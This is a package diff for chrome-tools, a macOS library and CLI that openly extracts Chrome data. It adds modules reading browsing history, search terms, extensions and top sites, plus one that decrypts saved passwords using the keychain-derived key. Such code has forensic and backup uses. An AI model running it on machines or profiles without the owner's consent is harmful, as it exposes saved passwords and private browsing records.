chrome-tools 1.0.5 → 1.0.6

package/dist/src/modules/extensions.js

@@ -0,0 +1,70 @@
+import { existsSync, readFileSync } from "node:fs";
+import { join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+/**
+ * Retrieves installed Chrome extensions from the Preferences JSON file.
+ *
+ * @param options - Targeting and filtering options.
+ * @returns Array of extension entries.
+ */
+export function getExtensions({ chromeDir, profile, search } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profile });
+    const results = [];
+    for (const p of profiles) {
+        // Try Secure Preferences first, fallback to Preferences
+        let prefs = null;
+        for (const filename of ["Secure Preferences", "Preferences"]) {
+            const prefsPath = join(p.path, filename);
+            if (existsSync(prefsPath)) {
+                try {
+                    prefs = JSON.parse(readFileSync(prefsPath, "utf-8"));
+                    break;
+                }
+                catch {
+                    continue;
+                }
+            }
+        }
+        if (!prefs)
+            continue;
+        const settings = prefs?.extensions?.settings;
+        if (!settings || typeof settings !== "object")
+            continue;
+        for (const [extId, extDataAny] of Object.entries(settings)) {
+            const extData = extDataAny;
+            // Skip component extensions and internal Chrome extensions
+            if (extData.location === 5 || extData.location === 10)
+                continue;
+            const manifest = extData.manifest || {};
+            const entry = {
+                profile: p.name,
+                id: extId,
+                name: manifest.name || extData.name || extId,
+                version: manifest.version || extData.version || "unknown",
+                description: manifest.description || "",
+                enabled: extData.state === 1,
+                homepageUrl: manifest.homepage_url || "",
+                updateUrl: manifest.update_url || "",
+                installTime: extData.install_time || "",
+                fromWebstore: extData.from_webstore || false,
+                location: extData.location || 0,
+            };
+            // Clean up __MSG_ placeholders in name/description
+            if (entry.name.startsWith("__MSG_")) {
+                entry.name = extId; // Fallback to ID if name is a message key
+            }
+            if (entry.description.startsWith("__MSG_")) {
+                entry.description = "";
+            }
+            if (search) {
+                const term = search.toLowerCase();
+                if (!(entry.name && entry.name.toLowerCase().includes(term)) &&
+                    !(entry.id && entry.id.toLowerCase().includes(term))) {
+                    continue;
+                }
+            }
+            results.push(entry);
+        }
+    }
+    return results;
+}

package/dist/src/modules/history.d.ts

@@ -0,0 +1,37 @@
+export interface HistoryOptions {
+    chromeDir?: string;
+    profile?: string;
+    search?: string;
+    limit?: number;
+}
+export interface HistoryEntry {
+    profile: string;
+    url: string;
+    title: string;
+    visitCount: number;
+    lastVisit: string;
+}
+export interface SearchTermOptions {
+    chromeDir?: string;
+    profile?: string;
+    limit?: number;
+}
+export interface SearchTermEntry {
+    profile: string;
+    term: string;
+    url: string;
+}
+/**
+ * Retrieves browsing history from Chrome's History database.
+ *
+ * @param options - Filtering and targeting options.
+ * @returns Array of history entries.
+ */
+export declare function getHistory({ chromeDir, profile, search, limit }?: HistoryOptions): HistoryEntry[];
+/**
+ * Retrieves search terms from Chrome's History database.
+ *
+ * @param options - Targeting and limit options.
+ * @returns Array of search term entries.
+ */
+export declare function getSearchTerms({ chromeDir, profile, limit }?: SearchTermOptions): SearchTermEntry[];

package/dist/src/modules/history.js

@@ -0,0 +1,84 @@
+import { join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+import { chromeTimeToDate } from "../core/crypto.js";
+import { queryDatabase, tableExists } from "../core/db.js";
+/**
+ * Retrieves browsing history from Chrome's History database.
+ *
+ * @param options - Filtering and targeting options.
+ * @returns Array of history entries.
+ */
+export function getHistory({ chromeDir, profile, search, limit = 100 } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profile });
+    const results = [];
+    for (const p of profiles) {
+        const dbPath = join(p.path, "History");
+        try {
+            if (!tableExists(dbPath, "urls"))
+                continue;
+            let sql = `SELECT url, title, visit_count, last_visit_time
+                 FROM urls ORDER BY last_visit_time DESC`;
+            if (limit) {
+                sql += ` LIMIT ${parseInt(limit, 10)}`;
+            }
+            const rows = queryDatabase(dbPath, sql);
+            for (const row of rows) {
+                const entry = {
+                    profile: p.name,
+                    url: row.url,
+                    title: row.title || "",
+                    visitCount: row.visit_count || 0,
+                    lastVisit: chromeTimeToDate(row.last_visit_time || 0),
+                };
+                if (search) {
+                    const term = search.toLowerCase();
+                    if (!(entry.url && entry.url.toLowerCase().includes(term)) &&
+                        !(entry.title && entry.title.toLowerCase().includes(term))) {
+                        continue;
+                    }
+                }
+                results.push(entry);
+            }
+        }
+        catch {
+            // Skip profiles with errors
+        }
+    }
+    return results;
+}
+/**
+ * Retrieves search terms from Chrome's History database.
+ *
+ * @param options - Targeting and limit options.
+ * @returns Array of search term entries.
+ */
+export function getSearchTerms({ chromeDir, profile, limit = 100 } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profile });
+    const results = [];
+    for (const p of profiles) {
+        const dbPath = join(p.path, "History");
+        try {
+            if (!tableExists(dbPath, "keyword_search_terms"))
+                continue;
+            let sql = `SELECT kst.term, u.url
+                 FROM keyword_search_terms kst
+                 JOIN urls u ON kst.url_id = u.id
+                 ORDER BY u.last_visit_time DESC`;
+            if (limit) {
+                sql += ` LIMIT ${parseInt(limit, 10)}`;
+            }
+            const rows = queryDatabase(dbPath, sql);
+            for (const row of rows) {
+                results.push({
+                    profile: p.name,
+                    term: row.term || "",
+                    url: row.url || "",
+                });
+            }
+        }
+        catch {
+            // Skip profiles with errors
+        }
+    }
+    return results;
+}

package/dist/src/modules/passwords.d.ts

@@ -0,0 +1,20 @@
+export interface PasswordOptions {
+    chromeDir?: string;
+    profile?: string;
+    search?: string;
+}
+export interface PasswordEntry {
+    profile: string;
+    url?: string;
+    username?: string;
+    password?: string;
+    lastUsed?: string;
+    error?: string;
+}
+/**
+ * Extracts and decrypts saved passwords from Chrome's Login Data database.
+ *
+ * @param options - Options for profile selection and filtering.
+ * @returns Array of decrypted password entries.
+ */
+export declare function getPasswords({ chromeDir, profile, search }?: PasswordOptions): PasswordEntry[];

package/dist/src/modules/passwords.js

@@ -0,0 +1,50 @@
+import { join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+import { deriveEncryptionKey } from "../core/keychain.js";
+import { decryptValue, chromeTimeToDate } from "../core/crypto.js";
+import { queryDatabase, tableExists } from "../core/db.js";
+/**
+ * Extracts and decrypts saved passwords from Chrome's Login Data database.
+ *
+ * @param options - Options for profile selection and filtering.
+ * @returns Array of decrypted password entries.
+ */
+export function getPasswords({ chromeDir, profile, search } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profile });
+    const derivedKey = deriveEncryptionKey();
+    const results = [];
+    for (const p of profiles) {
+        const dbPath = join(p.path, "Login Data");
+        try {
+            if (!tableExists(dbPath, "logins"))
+                continue;
+            const rows = queryDatabase(dbPath, `SELECT origin_url, username_value, password_value, date_last_used
+         FROM logins ORDER BY origin_url`);
+            for (const row of rows) {
+                const entry = {
+                    profile: p.name,
+                    url: row.origin_url,
+                    username: row.username_value,
+                    password: decryptValue(row.password_value, derivedKey),
+                    lastUsed: chromeTimeToDate(row.date_last_used || 0),
+                };
+                if (search) {
+                    const term = search.toLowerCase();
+                    if (!(entry.url && entry.url.toLowerCase().includes(term)) &&
+                        !(entry.username && entry.username.toLowerCase().includes(term))) {
+                        continue;
+                    }
+                }
+                results.push(entry);
+            }
+        }
+        catch (err) {
+            // Skip profiles with errors, continue with others
+            results.push({
+                profile: p.name,
+                error: err.message,
+            });
+        }
+    }
+    return results.filter((r) => !r.error);
+}

package/dist/src/modules/search-engines.d.ts

@@ -0,0 +1,22 @@
+export interface SearchEngineOptions {
+    chromeDir?: string;
+    profile?: string;
+}
+export interface SearchEngineEntry {
+    profile: string;
+    id: number;
+    name: string;
+    keyword: string;
+    url: string;
+    suggestionsUrl: string;
+    faviconUrl: string;
+    isDefault: boolean;
+    isActive: boolean;
+}
+/**
+ * Retrieves search engines configured in Chrome from the Web Data database.
+ *
+ * @param options - Targeting options.
+ * @returns Array of search engine entries.
+ */
+export declare function getSearchEngines({ chromeDir, profile }?: SearchEngineOptions): SearchEngineEntry[];

package/dist/src/modules/search-engines.js

@@ -0,0 +1,40 @@
+import { join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+import { queryDatabase, tableExists } from "../core/db.js";
+/**
+ * Retrieves search engines configured in Chrome from the Web Data database.
+ *
+ * @param options - Targeting options.
+ * @returns Array of search engine entries.
+ */
+export function getSearchEngines({ chromeDir, profile } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profile });
+    const results = [];
+    for (const p of profiles) {
+        const dbPath = join(p.path, "Web Data");
+        try {
+            if (!tableExists(dbPath, "keywords"))
+                continue;
+            const rows = queryDatabase(dbPath, `SELECT id, short_name, keyword, url, suggestions_url,
+                favicon_url, prepopulate_id, is_active
+         FROM keywords ORDER BY short_name`);
+            for (const row of rows) {
+                results.push({
+                    profile: p.name,
+                    id: row.id,
+                    name: row.short_name || "",
+                    keyword: row.keyword || "",
+                    url: row.url || "",
+                    suggestionsUrl: row.suggestions_url || "",
+                    faviconUrl: row.favicon_url || "",
+                    isDefault: row.prepopulate_id === 1,
+                    isActive: row.is_active === 1,
+                });
+            }
+        }
+        catch {
+            // Skip profiles with errors
+        }
+    }
+    return results;
+}

package/dist/src/modules/top-sites.d.ts

@@ -0,0 +1,18 @@
+export interface TopSiteOptions {
+    chromeDir?: string;
+    profile?: string;
+}
+export interface TopSiteEntry {
+    profile: string;
+    url: string;
+    title: string;
+    rank: number;
+    redirects: string;
+}
+/**
+ * Retrieves top sites from Chrome's Top Sites database.
+ *
+ * @param options - Targeting options.
+ * @returns Array of top site entries.
+ */
+export declare function getTopSites({ chromeDir, profile }?: TopSiteOptions): TopSiteEntry[];

package/dist/src/modules/top-sites.js

@@ -0,0 +1,35 @@
+import { join } from "node:path";
+import { resolveTargetProfiles } from "../core/chrome.js";
+import { queryDatabase, tableExists } from "../core/db.js";
+/**
+ * Retrieves top sites from Chrome's Top Sites database.
+ *
+ * @param options - Targeting options.
+ * @returns Array of top site entries.
+ */
+export function getTopSites({ chromeDir, profile } = {}) {
+    const profiles = resolveTargetProfiles({ chromeDir, profile });
+    const results = [];
+    for (const p of profiles) {
+        const dbPath = join(p.path, "Top Sites");
+        try {
+            if (!tableExists(dbPath, "top_sites"))
+                continue;
+            const rows = queryDatabase(dbPath, `SELECT url, url_rank, title, redirects
+         FROM top_sites ORDER BY url_rank ASC`);
+            for (const row of rows) {
+                results.push({
+                    profile: p.name,
+                    url: row.url || "",
+                    title: row.title || "",
+                    rank: row.url_rank ?? 0,
+                    redirects: row.redirects || "",
+                });
+            }
+        }
+        catch {
+            // Skip profiles with errors
+        }
+    }
+    return results;
+}

package/package.json

@@ -1,34 +1,35 @@
 {
   "name": "chrome-tools",
-  "version": "1.0.5",
+  "version": "1.0.6",
   "description": "CLI & Node.js library to extract Chrome browser data (bookmarks, history, cookies, autofill, extensions, and more) on macOS",
   "type": "module",
-  "main": "./src/index.js",
+  "main": "./dist/src/index.js",
   "exports": {
-    ".": "./src/index.js",
-    "./passwords": "./src/modules/passwords.js",
-    "./bookmarks": "./src/modules/bookmarks.js",
-    "./history": "./src/modules/history.js",
-    "./cookies": "./src/modules/cookies.js",
-    "./autofill": "./src/modules/autofill.js",
-    "./downloads": "./src/modules/downloads.js",
-    "./extensions": "./src/modules/extensions.js",
-    "./search-engines": "./src/modules/search-engines.js",
-    "./top-sites": "./src/modules/top-sites.js"
+    ".": "./dist/src/index.js",
+    "./passwords": "./dist/src/modules/passwords.js",
+    "./bookmarks": "./dist/src/modules/bookmarks.js",
+    "./history": "./dist/src/modules/history.js",
+    "./cookies": "./dist/src/modules/cookies.js",
+    "./autofill": "./dist/src/modules/autofill.js",
+    "./downloads": "./dist/src/modules/downloads.js",
+    "./extensions": "./dist/src/modules/extensions.js",
+    "./search-engines": "./dist/src/modules/search-engines.js",
+    "./top-sites": "./dist/src/modules/top-sites.js"
   },
   "bin": {
-    "chrome-tools": "./bin/cli.js"
+    "chrome-tools": "./dist/bin/cli.js"
   },
   "files": [
-    "bin",
-    "src",
+    "dist/src",
+    "dist/bin",
     "README.md",
     "LICENSE"
   ],
   "scripts": {
-    "start": "node bin/cli.js",
-    "test": "node --test && node bin/cli.js --help",
-    "release": "npm version patch --no-git-tag-version && npm publish"
+    "build": "tsc",
+    "start": "node dist/bin/cli.js",
+    "test": "npm run build && node --test dist/test/*.test.js dist/test/**/*.test.js && node dist/bin/cli.js --help",
+    "release": "npm run build && npm version patch --no-git-tag-version && npm publish"
   },
   "keywords": [
     "chrome",
@@ -51,5 +52,10 @@
   },
   "engines": {
     "node": ">=18.0.0"
+  },
+  "devDependencies": {
+    "@types/better-sqlite3": "^7.6.13",
+    "@types/node": "^25.9.1",
+    "typescript": "^6.0.3"
   }
 }